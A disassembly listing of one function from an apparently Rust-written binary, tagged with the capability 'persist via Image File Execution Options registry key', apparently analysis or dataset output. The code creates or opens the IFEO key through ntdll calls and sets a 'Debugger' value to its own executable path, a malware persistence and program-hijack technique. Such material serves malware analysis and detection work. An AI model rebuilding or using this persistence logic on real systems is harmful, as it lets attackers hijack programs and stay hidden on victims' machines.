Function at 0x1400c0040
Capabilities:
Persist via image file execution options registry key
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe98
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xe00], xmm6
mov qword [rbp + 0xdf8], 0xfffffffffffffffe
lea rcx, [rbp + 0x210]
call fcn.14020d540
xor eax, eax
cmp rax, qword [rbp + 0x210]
jno 0x1400c01d5
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x470], rax
mov rcx, qword [0x1403d2d38]
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400c0159
lea rax, [rbp + 0x470]
mov qword [rbp - 0x48], rax
lea rax, [0x14020f310]
mov qword [rbp - 0x40], rax
lea rax, str.Failed_to_get_current_executable_path._Error:
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x938], 1
mov qword [rbp + 0x950], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x948], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0x6c8], rcx
mov qword [rbp + 0x6d0], 9
mov qword [rbp + 0x6d8], rcx
mov qword [rbp + 0x6e0], 9
mov qword [rbp + 0x6e8], rax
lea rcx, [rbp + 0x930]
lea r8, [rbp + 0x6c8]
mov edx, 1
xor r9d, r9d
call fcn.1401a7b20
mov rax, qword [rbp + 0x470]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400c0fee
lea rcx, [rax - 1]
mov qword [rbp + 0xdd8], rcx
mov rcx, qword [rax - 1]
mov qword [rbp + 0xde8], rcx
mov rax, qword [rax + 7]
mov qword [rbp + 0xde0], rax
mov rax, qword [rax]
test rax, rax
je 0x1400c0199
mov rcx, qword [rbp + 0xde8]
call rax
mov rcx, qword [rbp + 0xde8]
mov rax, qword [rbp + 0xde0]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1400c01b9
mov r8, qword [rax + 0x10]
call fcn.1400fcbd0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0xdd8]
call fcn.1400fcbd0
jmp 0x1400c0fee
movups xmm0, xmmword [rbp + 0x210]
movups xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x940], xmm1
movaps xmmword [rbp + 0x930], xmm0
lea rcx, [rbp + 0x930]
call fcn.140226540
mov r8, rdx
lea rcx, [rbp + 0x6c8]
mov rdx, rax
call fcn.1402268c0
mov rcx, qword [rbp + 0x6c8]
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0xde8], rax
mov rax, rcx
neg rax
mov r14, qword [rbp + 0x6d8]
jno 0x1400c026c
test r14, r14
js 0x1400c1043
je 0x1400c1009
movzx eax, byte [0x1403d2ea1]
mov edi, 1
mov edx, 1
mov rcx, r14
call fcn.1400fcbc0
test rax, rax
je 0x1400c1045
mov rsi, rax
jmp 0x1400c100e
mov qword [rbp + 0xde0], rcx
mov rdx, qword [rbp + 0x930]
test rdx, rdx
je 0x1400c0291
mov rcx, qword [rbp + 0x938]
mov r8d, 1
call fcn.1400fcbd0
lea rdx, str.C:WindowsSystem32RegistryMachineSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_
lea rcx, [rbp + 0x930]
mov r8d, 0x13
call fcn.14021a830
cmp dword [rbp + 0x940], 2
jne 0x1400c02d2
mov rax, qword [rbp + 0x930]
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x6d8], 2
mov bl, 1
jmp 0x1400c0f90
lea rcx, [rbp + 0x6c8]
lea rdx, [rbp + 0x930]
mov r8d, 0x268
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0x6d8], 2
sete al
mov bl, 1
je 0x1400c0f90
mov byte [rbp + 0xdf7], al
lea rdi, [rbp + 0x930]
lea rdx, [rbp + 0x6c8]
mov r8d, 0x268
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0x218]
lea rsi, [rbp + 0xbb8]
mov rax, qword [rbp + 0xde8]
mov qword [rbp + 0xcc8], r14
add rax, r14
mov qword [rbp + 0xcd0], rax
lea r14, [rbp + 0x210]
lea r15, [rbp + 0x470]
lea r12, [rbp - 0x48]
lea r13, [rbp + 0xc58]
xorps xmm6, xmm6
jmp 0x1400c0378
mov rcx, r15
call fcn.1400b8590
mov rcx, r14
mov rdx, rdi
call fcn.14020e600
test byte [rbp + 0x210], 1
je 0x1400c0f64
mov r8d, 0x258
mov rcx, r15
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x470], 0
je 0x1400c0370
mov r8d, 0x258
mov rcx, r12
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, r12
call fcn.14020e690
mov rcx, r13
call fcn.140226540
mov rcx, rax
call fcn.140215190
test rax, rax
setne cl
cmp rdx, 3
sete dl
test cl, dl
je 0x1400c03fd
movzx ecx, word [rax]
xor ecx, 0x7865
movzx eax, byte [rax + 2]
xor eax, 0x65
or ax, cx
je 0x1400c0440
mov rdx, qword [rbp + 0xc58]
test rdx, rdx
je 0x1400c041b
mov rcx, qword [rbp + 0xc60]
mov r8d, 1
call fcn.1400fcbd0
mov rax, qword [rbp - 0x48]
lock dec qword [rax]
jne 0x1400c042d
mov rcx, r12
call fcn.1400083e0
cmp qword [rbp + 0x470], 0
jne 0x1400c0378
jmp 0x1400c0370
mov rcx, r13
call fcn.140226540
mov rcx, rax
call fcn.140214b70
test rax, rax
je 0x1400c03fd
mov r8, rdx
lea rcx, [rbp + 0xd08]
mov rdx, rax
call fcn.1402268c0
cmp qword [rbp + 0xd18], 0xc
jne 0x1400c062c
mov rcx, qword [rbp + 0xd10]
movzx eax, byte [rcx]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x6d
jne 0x1400c062c
movzx eax, byte [rcx + 1]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x73
jne 0x1400c062c
movzx eax, byte [rcx + 2]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x76
jne 0x1400c062c
movzx eax, byte [rcx + 3]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x63
jne 0x1400c062c
movzx eax, byte [rcx + 4]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x68
jne 0x1400c062c
movzx eax, byte [rcx + 5]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x6f
jne 0x1400c062c
movzx eax, byte [rcx + 6]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x73
jne 0x1400c062c
movzx eax, byte [rcx + 7]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x74
jne 0x1400c062c
movzx eax, byte [rcx + 8]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x2e
jne 0x1400c062c
movzx eax, byte [rcx + 9]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x65
jne 0x1400c062c
movzx eax, byte [rcx + 0xa]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x78
jne 0x1400c062c
movzx eax, byte [rcx + 0xb]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x65
jne 0x1400c062c
mov rdx, qword [rbp + 0xd08]
lea rax, [rdx*2]
test rax, rax
je 0x1400c05da
mov r8d, 1
call fcn.1400fcbd0
mov rdx, qword [rbp + 0xc58]
test rdx, rdx
je 0x1400c05f8
mov rcx, qword [rbp + 0xc60]
mov r8d, 1
call fcn.1400fcbd0
mov rax, qword [rbp - 0x48]
lock dec qword [rax]
lea r14, [rbp + 0x210]
jne 0x1400c0611
mov rcx, r12
call fcn.1400083e0
cmp qword [rbp + 0x470], 0
jne 0x1400c0378
mov rcx, r15
call fcn.1400b8590
jmp 0x1400c0378
lea rax, [rbp + 0xd08]
mov qword [rbp + 0xda8], rax
lea rax, [0x1400895a0]
mov qword [rbp + 0xdb0], rax
lea rax, [0x14031ab78]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], 1
mov qword [rbp + 0xd90], 0
lea rax, [rbp + 0xda8]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd88], 1
lea rcx, [rbp + 0xbe8]
lea rdx, [rbp + 0xd70]
call fcn.14022fac0
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0xdd8], rax
mov rdx, qword [rbp + 0xbf0]
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0xcd8], rdx
mov qword [rbp + 0xce0], rax
mov rcx, qword [rbp + 0xde8]
mov qword [rbp + 0xc10], rcx
mov rcx, qword [rbp + 0xcc8]
mov qword [rbp + 0xc18], rcx
add rax, rdx
mov qword [rbp + 0xd20], rdx
mov qword [rbp + 0xbc8], rdx
mov qword [rbp + 0xbd0], rax
mov word [rbp + 0xbd8], 0
mov dword [rbp + 0xbe0], 1
lea rcx, [rbp + 0xcb0]
lea rdx, [rbp + 0xbc8]
call fcn.140023c50
mov eax, dword [rbp + 0xcc0]
add eax, eax
mov rcx, qword [rbp + 0xcb8]
mov word [rbp + 0xca0], ax
mov word [rbp + 0xca2], ax
mov qword [rbp + 0xd38], rcx
mov qword [rbp + 0xca8], rcx
call fcn.14003b650
mov dword [rbp + 0xb98], 0x30
mov qword [rbp + 0xba0], rax
lea rax, [rbp + 0xca0]
mov qword [rbp + 0xba8], rax
mov dword [rbp + 0xbb0], 0
movups xmmword [rsi], xmm6
call fcn.14003b650
mov qword [rbp + 0xd40], rax
lea rcx, [rbp + 0xd40]
mov edx, 0xf003f
lea r8, [rbp + 0xb98]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rbp + 0xd34], eax
test eax, eax
je 0x1400c090b
cmp eax, 0xc0000034
jne 0x1400c09d6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rbp + 0xd40]
mov edx, 0xf003f
lea r8, [rbp + 0xb98]
xor r9d, r9d
call qword [sym.imp.ntdll.dll_ZwCreateKey]
mov dword [rbp + 0xc38], eax
mov rcx, qword [0x1403d2d38]
mov rcx, qword [rcx]
test eax, eax
je 0x1400c0b0c
test rcx, rcx
je 0x1400c0ae2
lea rax, [rbp + 0xc38]
mov qword [rbp + 0xce8], rax
lea rax, [0x14023e240]
mov qword [rbp + 0xcf0], rax
mov qword [rbp + 0xd70], 2
mov qword [rbp + 0xd80], 2
mov qword [rbp + 0xd90], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd98], rax
mov byte [rbp + 0xda0], 3
lea rax, str.Failed_to_create_IFEO_registry_key:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd70]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xce8]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xd48], rcx
mov qword [rbp + 0xd50], 9
mov qword [rbp + 0xd58], rcx
mov qword [rbp + 0xd60], 9
mov qword [rbp + 0xd68], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd48]
xor r9d, r9d
call fcn.1401a7b20
jmp 0x1400c0ae2
mov rax, qword [0x1403d2d38]
mov rax, qword [rax]
cmp rax, 3
jb 0x1400c0bc8
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xd48], rax
lea rax, [0x14003b630]
mov qword [rbp + 0xd50], rax
lea rax, str.Successfully_opened_IFEO_registry_key:
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], 1
mov qword [rbp + 0xd90], 0
lea rax, [rbp + 0xd48]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd88], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd70]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.1401a7b20
jmp 0x1400c0bc8
mov rax, qword [0x1403d2d38]
mov rax, qword [rax]
test rax, rax
je 0x1400c0ae2
lea rax, [rbp + 0xd34]
mov qword [rbp + 0xce8], rax
lea rax, [0x14023e240]
mov qword [rbp + 0xcf0], rax
mov qword [rbp + 0xd70], 2
mov qword [rbp + 0xd80], 2
mov qword [rbp + 0xd90], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd98], rax
mov byte [rbp + 0xda0], 3
lea rax, str.Failed_to_open_IFEO_registry_key:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd70]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xce8]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xd48], rcx
mov qword [rbp + 0xd50], 9
mov qword [rbp + 0xd58], rcx
mov qword [rbp + 0xd60], 9
mov qword [rbp + 0xd68], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd48]
xor r9d, r9d
call fcn.1401a7b20
mov rdx, qword [rbp + 0xcb0]
test rdx, rdx
je 0x1400c0f16
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd38]
call fcn.1400fcbd0
jmp 0x1400c0f16
cmp rcx, 3
jb 0x1400c0bc8
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xd48], rax
lea rax, [0x14003b630]
mov qword [rbp + 0xd50], rax
lea rax, [0x14031ac28]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], 1
mov qword [rbp + 0xd90], 0
lea rax, [rbp + 0xd48]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd88], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd70]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.1401a7b20
lea rax, str.DebuggerSuccessfully_set_IFEO_Debugger_value:_____Debugger_
mov qword [rbp + 0xc38], rax
lea rax, [0x14031ad00]
mov qword [rbp + 0xc40], rax
mov word [rbp + 0xc48], 0
mov dword [rbp + 0xc50], 1
lea rcx, [rbp + 0xc88]
lea rdx, [rbp + 0xc38]
call fcn.140023c50
mov rax, qword [rbp + 0xde8]
mov qword [rbp + 0xce8], rax
mov rax, qword [rbp + 0xcd0]
mov qword [rbp + 0xcf0], rax
mov word [rbp + 0xcf8], 0
mov dword [rbp + 0xd00], 1
lea rcx, [rbp + 0xc20]
lea rdx, [rbp + 0xce8]
call fcn.140023c50
mov r8, qword [rbp + 0xc28]
mov eax, dword [rbp + 0xc30]
add eax, eax
mov ecx, dword [rbp + 0xc98]
lea edx, [rcx*2 - 2]
add ecx, ecx
mov r14, qword [rbp + 0xc90]
mov word [rbp + 0xc78], dx
mov word [rbp + 0xc7a], cx
mov qword [rbp + 0xc80], r14
mov rcx, qword [rbp + 0xd40]
mov dword [rsp + 0x28], eax
mov qword [rbp + 0xd28], r8
mov qword [rsp + 0x20], r8
lea rdx, [rbp + 0xc78]
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rbp + 0xd30], eax
mov rcx, qword [0x1403d2d38]
mov rcx, qword [rcx]
test eax, eax
je 0x1400c0dd2
test rcx, rcx
je 0x1400c0ea3
lea rax, [rbp + 0xd30]
mov qword [rbp + 0xc00], rax
lea rax, [0x14023e240]
mov qword [rbp + 0xc08], rax
mov qword [rbp + 0xd70], 2
mov qword [rbp + 0xd80], 2
mov qword [rbp + 0xd90], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd98], rax
mov byte [rbp + 0xda0], 3
lea rax, str.Failed_to_set_IFEO_Debugger_value:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd70]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xc00]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xd48], rcx
mov qword [rbp + 0xd50], 9
mov qword [rbp + 0xd58], rcx
mov qword [rbp + 0xd60], 9
mov qword [rbp + 0xd68], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd48]
xor r9d, r9d
call fcn.1401a7b20
jmp 0x1400c0ea3
cmp rcx, 3
jb 0x1400c0ea3
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xd48], rax
lea rax, [0x14003b630]
mov qword [rbp + 0xd50], rax
lea rcx, [rbp + 0xc10]
mov qword [rbp + 0xd58], rcx
mov qword [rbp + 0xd60], rax
lea rax, [0x14031ad38]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], 2
mov qword [rbp + 0xd90], 0
lea rax, [rbp + 0xd48]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd88], 2
lea rcx, str.src_reg.rs
call fcn.1401a7c10
lea rcx, str.ICBM::regSuccessfully_created_IFEO_registry_key:
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd70]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.1401a7b20
mov rcx, qword [rbp + 0xd40]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rdx, qword [rbp + 0xc20]
test rdx, rdx
je 0x1400c0ed1
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd28]
call fcn.1400fcbd0
mov rdx, qword [rbp + 0xc88]
test rdx, rdx
je 0x1400c0eee
add rdx, rdx
mov r8d, 2
mov rcx, r14
call fcn.1400fcbd0
mov rdx, qword [rbp + 0xcb0]
test rdx, rdx
je 0x1400c0f0f
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd38]
call fcn.1400fcbd0
lea r14, [rbp + 0x210]
mov rdx, qword [rbp + 0xdd8]
test rdx, rdx
je 0x1400c0f34
mov r8d, 1
mov rcx, qword [rbp + 0xd20]
call fcn.1400fcbd0
mov rdx, qword [rbp + 0xd08]
mov rax, rdx
neg rax
jo 0x1400c03fd
jae 0x1400c03fd
mov rcx, qword [rbp + 0xd10]
mov r8d, 1
call fcn.1400fcbd0
jmp 0x1400c03fd
lea rcx, [rbp + 0x938]
call fcn.14021a270
mov rax, qword [rbp + 0x930]
lock dec qword [rax]
jne 0x1400c0f89
lea rcx, [rbp + 0x930]
call fcn.1400083e0
movzx ebx, byte [rbp + 0xdf7]
mov rdx, qword [rbp + 0xde0]
test rdx, rdx
je 0x1400c0fae
mov r8d, 1
mov rcx, qword [rbp + 0xde8]
call fcn.1400fcbd0
cmp dword [rbp + 0x6d8], 2
jne 0x1400c0fc5
lea rcx, [rbp + 0x6c8]
call fcn.1400b8460
jmp 0x1400c0fee
test bl, bl
je 0x1400c0fee
lea rcx, [rbp + 0x6d0]
call fcn.14021a270
mov rax, qword [rbp + 0x6c8]
lock dec qword [rax]
jne 0x1400c0fee
lea rcx, [rbp + 0x6c8]
call fcn.1400083e0
movaps xmm6, xmmword [rbp + 0xe00]
add rsp, 0xe98
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov esi, 1
mov rcx, rsi
mov rdx, qword [rbp + 0xde8]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xde8], rsi
mov qword [rbp + 0xde0], r14
mov rdx, qword [rbp + 0x930]
test rdx, rdx
jne 0x1400c027f
jmp 0x1400c0291
xor edi, edi
mov rcx, rdi
mov rdx, r14
call fcn.14029d590
ud2